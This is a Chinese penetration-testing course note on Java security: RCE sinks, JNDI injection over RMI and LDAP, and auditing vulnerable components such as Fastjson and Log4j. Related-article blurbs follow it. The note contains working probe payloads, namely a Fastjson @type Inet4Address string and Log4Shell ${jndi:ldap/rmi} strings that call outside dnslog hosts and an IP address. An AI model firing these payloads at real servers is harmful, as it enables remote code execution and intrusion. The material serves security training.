DAY67WEB 攻防-Java 安全JNDIRMILDAP五大不安全组件RCE 执行不出网

知识点:

1、Java安全-RCE执行-5大类函数调用

2、Java安全-JNDI注入-RMI&LDAP&高版本

3、Java安全-不安全组件-Shiro&FastJson&JackJson&XStream&Log4j

Java安全-RCE执行-5大类函数调用

Java中代码执行的类:

Groovy

RuntimeExec

ProcessImpl

ProcessBuilder

ScriptEngineManager

检测:(大部分白盒)
黑盒看参数名和参数值
白盒看类函数名和可控变量

RuntimeExec

ProcessImpl

ProcessBuilder

ScriptEngineManage

在java8后就没了eval函数,仅作参考

白盒测试-RCE

白盒看类函数名和可控变量(大部分白盒)

Java安全-JNDI注入-RMI&LDAP&版本

JNDI (Java Naming and Directory Interface )是 Java 提供的 Java 命名和目录接口。通过调用 JNDI 的 API 可以定位资源和其他程序对象。JNDI 是 Java EE 的重要部分,JNDI 可访问的现有的目录及服务有:JDBC、LDAP、RMI、DNS、NIS、CORBA

命名服务(Naming Server)

命名服务,简单来说,就是一种通过名称来查找实际对象的服务。比如我们的RMI协议,可以通过名称来查找并调用具体的远程对象。再比如我们的DNS协议,通过域名来查找具体的IP地址

在命名服务中,有几个重要的概念:

Bindings:表示一个名称和对应对象的绑定关系,比如在 DNS 中域名绑定到对应的

IP,在RMI中远程对象绑定到对应的name,文件系统中文件名绑定到对应的文件

Context:上下文,我们可以在指定上下文中查找名称对应的对象。比如在文件系统中,一个目录就是一个上下文,可以在该目录中查找文件,其中子目录也可以称为子上下文 (SubContext)

References:在一个实际的名称服务中,有些对象可能无法直接存储在系统内,这时它们便以引用的形式进行存储,可以理解为 C/C++ 中的指针。引用中包含了获取实际对象所需的信息,甚至对象的实际状态

目录服务(Directory Service)

目录服务是命名服务的扩展,除了名称服务中已有的名称到对象的关联信息外,还允许对象拥有属性(Attributes)信息。目录服务中的对象称之为目录对象。目录服务提供创建、添加、删除目录对象以及修改目录对象属性等操作。由此,我们不仅可以根据名称去查找(lookup)对象(并获取其对应属性),还可以根据属性值去搜索(search)对象

RMI:远程方法调用注册表

LDAP:轻量级目录访问协议

JNDI原生漏洞-靶场演示

JNDI本身不是漏洞,是java用来远程加载文件执行从而造成一个RCE的结果,一般是在漏洞利用的时候会使用这个jndi注入达到一个RCE目的。

JNDI注入原理

参考文章:https://dahezhiquan.blog.csdn.net/article/details/136459856

实现复现,使用Java版本:不要超过 java 1.8_133 之后,可能会有影响,去Oracle官网下载

JNDI在调用RMI以及LDAP服务时如果不对远程访问的地址进行过滤的话且参数可控,攻击者构造一个恶意的类,就会被远程访问并且代码执行。

JNDI注入漏洞利用条件

在JDK 6u132, JDK 7u122, JDK 8u113之后Java限制了通过RMI远程加载Reference工厂类。com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase 的默认值变为了false,即默认不允许通过RMI从远程的Codebase加载Reference工厂类

高版本 JDK 中无法加载远程代码的异常出现在 com.sun.jndi.rmi.registry.RegistryContext#decodeObject 中

不安全组件(框架)-Shiro&FastJson&Jackson&XStream&Log4j

Log4j

有个问题就是弹计算机也是在对方服务器弹,本地肯定不知道成没成功,这时候可以在jndi注入工具中把生成计算机命令改为请求一个dnslog地址来判断不就行了

Shiro

Java安全框架,能够用于身份验证、授权、加密和会话管理。
历史漏洞:https://avd.aliyun.com/search?q=Shiro

Jackson

当下流行的json解释器,主要负责处理Json的序列化和反序列化。
历史漏洞:https://avd.aliyun.com/search?q=Jackson

Fastjson

阿里巴巴公司开源的json解析器,它可以解析JSON格式的字符串,支持将JavaBean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。
历史漏洞:https://avd.aliyun.com/search?q=fastjson

XStream

开源Java类库,能将对象序列化成XML或XML反序列化为对象
历史漏洞:https://avd.aliyun.com/search?q=XStream

白盒审计-FastJson

审计思路:

1、看引用组件版本及实现

JSON.parse() JSON.parseObject()

2、找可控变量及访问实现

admin/product propertyJson

3、测试出网回显调用访问

{"@type":"java.net.Inet4Address","val":"atcuqbczqs.dnstunnel.run"}

源码搭建

看引用组件版本及代码实现

漏洞函数

JSON.parse()

JSON.parseObject()

引用组件版本(知道版本就可以去网上找这个版本爆没爆过漏洞)

找可控变量及访问实现

admin/product propertyJson

测试出网回显调用访问

{"@type":"java.net.Inet4Address","val":"54ioxg.dnslog.cn"}

白盒审计-Log4j

白盒审计思路:

1、看引用组件版本及实现

logger.info    logger.error

2、找可控变量及访问实现

admin/uploadAdminHeadImage originalFileName

3、测试出网回显调用访问

${jndi:ldap://jebqzwhwtn.dnstunnel.run}

${jndi:rmi://47.94.236.117:1099/l6v1wz}

看引用组件版本及实现

logger.info

logger.error

找可控变量及访问实现

引用组件版本(知道版本就可以去网上找这个版本爆没爆过漏洞

${jndi:ldap://n6irmg.dnslog.cn}

不回显常见判断通用方法

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/905396.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

vue下载安装

目录 vue工具前置要求:安装node.js并配置好国内镜像源下载安装 vue 工具 系统:Windows 11 前置要求:安装node.js并配置好国内镜像源 参考:本人写的《node.js下载、安装、设置国内镜像源(永久)&#xff…

书生实战营第四期-第四关 玩转HF/魔搭/魔乐社区

一、任务1:模型下载 使用魔搭社区平台下载文档中提到的模型 1.创建开发机 2.环境配置 # 激活环境 conda activate /root/share/pre_envs/pytorch2.1.2cu12.1# 安装 modelscope pip install modelscope -t /root/env/maas pip install numpy1.26.0 -t /root/env/m…

【Blender】 学习笔记(一)

文章目录 参考概念原点 Origin游标 轴心点坐标操作默认快捷键两个比较好用的功能渲染器元素不可选(防止误选)关联材质 参考 参考b站视频:【Kurt】Blender零基础入门教程 | Blender中文区新手必刷教程(已完结) 概念 模型、灯光、摄像机 原点…

Java中的反射(Reflection)

先上两张图来系统的看一下反射的作用和具体的实现方法 接下来详细说一下反射的步骤以及之中使用的方法: 获取Class对象: 要使用反射,首先需要获得一个Class对象,该对象是反射的入口点。可以通过以下几种方式获取Class对象&#x…

号码认证是什么意思?有什么用?

随着通信环境越来越复杂,各种骚扰、推销电话层出不穷。许多企业为了取信于客户,提高电话的接听率,纷纷选择了申请号码认证,试图通过这种方法来与客户建立更加高效的沟通。 不可否认,这种方法是极其有效的。号码认证可…

Android 圆形进度条CircleProgressView 基础版

一个最基础的自定义View 圆形进度条,可设置背景色、进度条颜色(渐变色)下载进度控制;可二次定制度高; 核心代码: Overrideprotected void onDraw(NonNull Canvas canvas) {super.onDraw(canvas);int mW g…

Java基础0-Java概览

Java概览 一、Java的主要特性 Java 语言是简单的: Java 丢弃了 C 中很少使用的、很难理解的、令人迷惑的那些特性,如操作符重载、多继承、自动的强制类型转换。特别地,Java 语言不使用指针,而是引用。并提供了自动分配和回收内存…

信号(四)【信号处理与捕捉】

目录 1. 信号的处理1.1 内核态 && 用户态1.2 进程地址空间第三弹1.1 内核态 && 用户态 (续) 2. 信号捕捉 1. 信号的处理 我们一直在说,进程收到信号了,可能会因为各种原因无法即使处理信号,而后选择一个合适的时机去处理。所…

Kafka 与传统 MQ 消息系统之间有三个关键区别?

大家好,我是锋哥。今天分享关于【Kafka 与传统 MQ 消息系统之间有三个关键区别?】面试题?希望对大家有帮助; Kafka 与传统 MQ 消息系统之间有三个关键区别? 1000道 互联网大厂Java工程师 精选面试题-Java资源分享网 …

基于局部近似的模型解释方法

在机器学习领域中,模型解释性是一个越来越重要的议题,尤其是在复杂的深度学习模型和非线性模型广泛应用的今天。解释性不仅帮助我们理解模型的决策逻辑,还能提高模型在敏感领域(如医疗诊断、金融分析)中的可信度。基于…

img 标签的 object-fit 属性

设置图片固定尺寸后,可以通过 object-fit 属性调整图片展示的形式 object-fit: contain; 图片的长宽比不变,相应调整大小。 object-fit: cover; 当图片的长宽比与容器的长宽比不一致时,会被裁切。 object-fit: fill; 图片不再锁定长宽…

推荐一款功能强大的文字处理工具:Atlantis Word Processor

Atlantis word proCEssor是一款功能强大的文字处理工具。该软件可以让用户放心的去设计文档,并且软件的界面能够按用户的意愿去自定义,比如工具栏、字体选择、排版、打印栏等等,当然还有更多的功能,比如你还可以吧软件界面中的任何…

【算法】【优选算法】双指针(上)

目录 一、双指针简介1.1 对撞指针(左右指针)1.2 快慢指针 二、283.移动零三、1089.复写零3.1 双指针解题3.2 暴力解法 四、202.快乐数4.1 快慢指针4.2 暴力解法 五、11.盛最多⽔的容器5.1 左右指针5.2 暴力解法 一、双指针简介 常⻅的双指针有两种形式&…

Pandas DataFrame学习补充

1. 从字典创建:字典的键成为列名,值成为列数据。 import pandas as pd# 通过字典创建 DataFrame df pd.DataFrame({Column1: [1, 2, 3], Column2: [4, 5, 6]}) 2. 从列表的列表创建:外层列表代表行,内层列表代表列。 df pd.Da…

二、Go快速入门之数据类型

📅 2024年4月27日 📦 使用版本为1.21.5 Go的数据类型 📖官方文档:https://go.dev/ref/spec#Types 1️⃣ 布尔类型 ⭐️ 布尔类型只有真和假,true和false ⭐️ 在Go中整数0不会代表假,非零整数也不能代替真&#…

Springboot整合原生ES依赖

前言 Springboot整合依赖大概有三种方式: es原生依赖:elasticsearch-rest-high-level-clientSpring Data ElasticsearchEasy-es 三者的区别 1. Elasticsearch Rest High Level Client 简介: 这是官方提供的 Elasticsearch 客户端,支持…

Spark,Anconda在虚拟机实现本地模式部署

如果想要了解模式的概念部分,以及作用请看: Spark学习-CSDN博客 一.在虚拟机安装spark cd /opt/modules 把Anconda和Spark安装包拖拽进去: 解压: tar -zxf spark-3.1.2-bin-hadoop3.2.tgz -C /opt/installs 重命名&#x…

Javaee:阻塞队列和生产者消费者模型

文章目录 什么是阻塞队列java中的主要阻塞队列生产者消费者模型阻塞队列发挥的作用解耦合削峰填谷 模拟实现阻塞队列put方法take方法生产者消费者模型 什么是阻塞队列 阻塞队列是一种支持阻塞操作的队列,在多线程中实现通线程之间的通信协调的特殊队列 java中的主…

[网络协议篇] UDP协议

文章目录 1. 简介2. 特点3. UDP数据报结构4. 基于UDP的应用层协议5. UDP安全性问题6. 使用udp传输数据的系统就一定不可靠吗?7. 基于UDP的主机探活 python实现 1. 简介 User Datagram Protocol,用户数据报协议,基于IP协议提供面向无连接的网…

使用 three.js 渲染个blender模型

首先需要一个扫描模型,工业上有专门的设备去采集模型的面然后通过建模软件去处理外表面贴图 我们这里取了一个ford汽车的发动机模型 为了让three.js能够使用,使用blender把模型保存为glb格式 为了让页面加载glb模型更快,需要对模型文件进行压…